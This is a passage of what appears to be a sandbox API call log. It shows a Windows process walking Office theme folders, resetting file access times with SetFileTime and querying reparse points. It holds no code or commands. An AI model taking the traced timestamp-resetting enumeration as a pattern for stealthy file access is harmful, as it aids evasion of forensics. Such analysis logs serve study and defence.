RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff9a0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00e50 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff9c0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00f58 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff9e0 [0061.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01060 [0061.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.547] GetLastError () returned 0x12 [0061.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.547] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.547] GetLastError () returned 0x12 [0061.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa002f8) returned 1 [0061.547] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00400) returned 1 [0061.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.547] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0061.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.548] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa024b0 [0061.548] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa024b0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa024b0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa024b0) returned 1 [0061.548] NtClose (Handle=0x16c) returned 0x0 [0061.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.548] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa002f8 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffa00 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01168 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffa20 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01270 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffa40 [0061.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01378 [0061.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.549] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ffa60 [0061.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa01480 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.550] GetLastError () returned 0x12 [0061.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.550] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.550] GetLastError () returned 0x12 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00400) returned 1 [0061.550] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa002f8) returned 1 [0061.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0061.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.569] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa024b0 [0061.570] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa024b0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa024b0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa024b0) returned 1 [0061.570] NtClose (Handle=0x160) returned 0x0 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa002f8 [0061.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, 